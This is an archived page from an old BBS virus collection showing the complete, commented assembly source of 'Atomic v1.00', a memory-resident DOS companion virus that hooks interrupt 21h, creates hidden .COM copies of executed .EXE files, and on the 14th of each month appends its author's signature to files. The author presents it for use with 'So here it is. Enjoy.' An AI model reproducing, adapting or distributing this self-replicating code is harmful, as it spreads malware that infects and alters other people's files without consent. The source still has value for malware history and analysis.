home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / atomic.asm < prev    next >
Assembly Source File  |  1994-01-02  |  7KB  |  258 lines

  1. comment $
  2.  
  3.                  Φ  Atomic v1.00  Φ
  4.  
  5.          This virus is a spawning, resident infector of .EXE
  6.          programs. Upon execution, Atomic will stay resident 
  7.          in memory, and capture int 21h. Whenever it detects
  8.          an .EXE file being executed,  it will create a .COM
  9.          file with the virus in the same directory, with the 
  10.          same name.
  11.  
  12.          If the user tries to run an infected .EXE file, the
  13.          .COM file is run first, installing itself in memory
  14.          and spreading it yet more. (The infected .EXE files
  15.          are not actually changed.)
  16.  
  17.          On the 14th of the month,  the virus will affix its
  18.          signature to three non-EXE files that are opened or
  19.          executed. The signature is just a short string that
  20.          says "Atomix v1.00 by Mnemonix."
  21.  
  22.          So here it is. Enjoy.
  23.  
  24.                     MnemoniX
  25.  
  26. $
  27.          
  28. _TEST_          equ     0FEEDh                  ; infection test 
  29. _PASS_          equ     0DEADh
  30. SIG_LENGTH      equ     31                      ; length of signature
  31.  
  32. code            segment
  33.         assume  cs:code,ds:code   
  34.  
  35.         org   100h
  36.  
  37. start:          
  38.         jmp  begin_virus       
  39.  
  40. result          dw      0
  41. buffer          dw      0
  42. signatures      db      3
  43.  
  44. old_int_21      dd      0
  45.  
  46. signature       db      ' ',15,' Atomic v1.00 ',15,'  by MnemoniX',0
  47.  
  48. exe_file        db      64 dup(?)
  49.         
  50. parm_block:
  51. environment     dw      0
  52. cmd_line        dw      80h                     ; cmd line offset
  53. cmd_line_seg    dw      0                       ; cmd line seg
  54. fcb_1           dd      0                       ; who cares about FCB's?
  55. fcb_2           dd      0
  56.  
  57. ; ======================================>
  58. ;  infecting routine (int 21 handler) 
  59. ; ======================================>
  60.  
  61. int_21:
  62.     pushf
  63.     call    dword ptr cs:[old_int_21]
  64.     ret
  65.  
  66. new_int_21:
  67.     sti
  68.     cmp     ax,4B00h                        ; execute file?
  69.     je      infect                          ; yes, try infecting
  70.  
  71.     cmp     ah,3Dh                          ; open file?
  72.     je      infect                          ; same ....
  73.  
  74.     cmp     ax,_TEST_                       ; check for virus in memory?
  75.     je      pass_signal                     ; yes, give pass signal
  76.     jmp     quick_exit
  77.  
  78. pass_signal:
  79.     mov     ax,_PASS_                       ; give passing signal
  80.     iret                                    ; and get out
  81.  
  82. infect:
  83.     push    ax
  84.     push    bx
  85.     push    cx
  86.     push    dx
  87.     push    di
  88.     push    si
  89.     push    ds
  90.     push    es
  91.  
  92.     push    ds
  93.     push    dx                              ; save file name
  94.     mov     ax,3D02h                        ; open file
  95.     call    int_21  
  96.     jnc     read_file                       ; can't open; leave
  97.     
  98.     pop     dx 
  99.     pop     ds
  100.     jmp     quit
  101.     
  102. read_file:
  103.     mov     bx,ax                           ; file handle in BX
  104.  
  105.     push    cs
  106.     pop     ds
  107.     mov     dx,offset buffer                ; get in 2 bytes
  108.     mov     cx,2
  109.     mov     ah,3Fh
  110.     call    int_21  
  111.  
  112.     mov     ax,buffer
  113.     cmp     ax,'ZM'                         ; .EXE file?
  114.     je      infect_it                       ; yep; let's go
  115.     pop     dx
  116.     pop     ds
  117.     
  118.     mov     ah,2Ah                          ; if not an .EXE,
  119.     int     21h                             ; check date; if 14th of
  120.     cmp     dl,14                           ; month, we will add a sig
  121.     je      sign                            ; to three files regardless
  122.     jmp     close
  123.     
  124. sign:
  125.     push    cs
  126.     pop     ds                                   
  127.     cmp     signatures,0                    ; if three sigs done already,
  128.     jne     add_sig                         ; skip it
  129.     jmp     close
  130.  
  131. add_sig:        
  132.     dec     signatures
  133.     mov     ax,4202h                        ; add sig to non-.EXE files
  134.     xor     cx,cx                           ; on 14th of month
  135.     xor     dx,dx
  136.     int     21h
  137.     
  138.     mov     dx,offset signature
  139.     mov     cx,SIG_LENGTH
  140.     mov     ah,40h
  141.     int     21h
  142.     jmp     close
  143.  
  144. infect_it:
  145.     pop     si                              ; get name of file
  146.     pop     ds
  147.     push    cs
  148.     pop     es
  149.     
  150.     mov     di,offset exe_file
  151.     mov     cx,64
  152.     rep     movsb
  153.  
  154.     push    cs                              ; scan for period '.'
  155.     pop     ds
  156.     mov     si,offset exe_file
  157.  
  158. scan_name:
  159.     lodsb
  160.     cmp     al,'.'
  161.     je      add_ext
  162.     cmp     al,0                            ; no extension; close
  163.     je      quit
  164.     jmp     scan_name
  165.  
  166. add_ext:                                        ; add .COM extension
  167.     mov     word ptr [si],'OC'
  168.     mov     word ptr [si+2],'M'
  169.     
  170.     mov     ah,3Eh                          ; close .EXE file
  171.     int     21h
  172.  
  173.     mov     dx,offset exe_file              ; now open file
  174.     mov     ax,3D02h
  175.     call    int_21  
  176.     jnc     close                           ; if already there, skip it
  177.     cmp     ax,02
  178.     jne     quit                            ; can't open, leave
  179.  
  180.     mov     ah,3Ch                          ; create hidden .COM file
  181.     mov     cx,2
  182.     call    int_21  
  183.     jc      quit                            ; can't open, quit
  184.     mov     bx,ax
  185.  
  186.     mov     word ptr [si],'XE'              ; switch back to .EXE ext.
  187.     mov     word ptr [si+2],'E'             
  188.  
  189.     mov     dx,start                        ; write virus to file
  190.     mov     cx,VIRUS_LENGTH
  191.     mov     ah,40h
  192.     call    int_21   
  193.  
  194. close:  
  195.     mov     ah,3Eh
  196.     call    int_21  
  197.  
  198. quit:   
  199.     pop     es                              ; etc.
  200.     pop     ds
  201.     pop     di
  202.     pop     si
  203.     pop     dx
  204.     pop     cx
  205.     pop     bx
  206.     pop     ax
  207.  
  208. quick_exit:     
  209.     jmp      dword ptr cs:[old_int_21]
  210.  
  211. ; ===================================>
  212. ;  installation routine
  213. ; ===================================>
  214.  
  215. begin_virus:
  216.     mov     ax,_TEST_                       ; test for infection
  217.     int     21h
  218.     mov     result,ax                       ; save for later
  219.     
  220.     push    cs
  221.     pop     cmd_line_seg
  222.  
  223.     mov     dx,offset exe_file              ; run .EXE file
  224.     mov     bx,offset parm_block
  225.     mov     ax,4B00h
  226.     int     21h
  227.  
  228.     mov     ax,result                       ; check for virus
  229.     cmp     ax,_PASS_                       ; already resident?
  230.     je      exit                            ; if not, don't reinstall
  231.     
  232.     cli                                     ; get old int 21
  233.     push    es
  234.     mov     ax,0
  235.     mov     es,ax
  236.     mov     ax,3521h
  237.     int     21h                      
  238.     mov     w [offset old_int_21],bx      
  239.     mov     w [offset old_int_21+2],es    
  240.  
  241.     mov     ax,2521h
  242.     mov     dx,offset new_int_21            ; set new int 21 
  243.     int     21h
  244.  
  245.     mov     dx,PROGRAM + 100h               ; TSR call - install virus
  246.     int     27h
  247.  
  248. exit:
  249.     mov     ah,4Ch
  250.     int     21h
  251.  
  252. PROGRAM:
  253.  
  254. VIRUS_LENGTH    equ     PROGRAM - start
  255.  
  256.     code    ends
  257.     end     start
  258.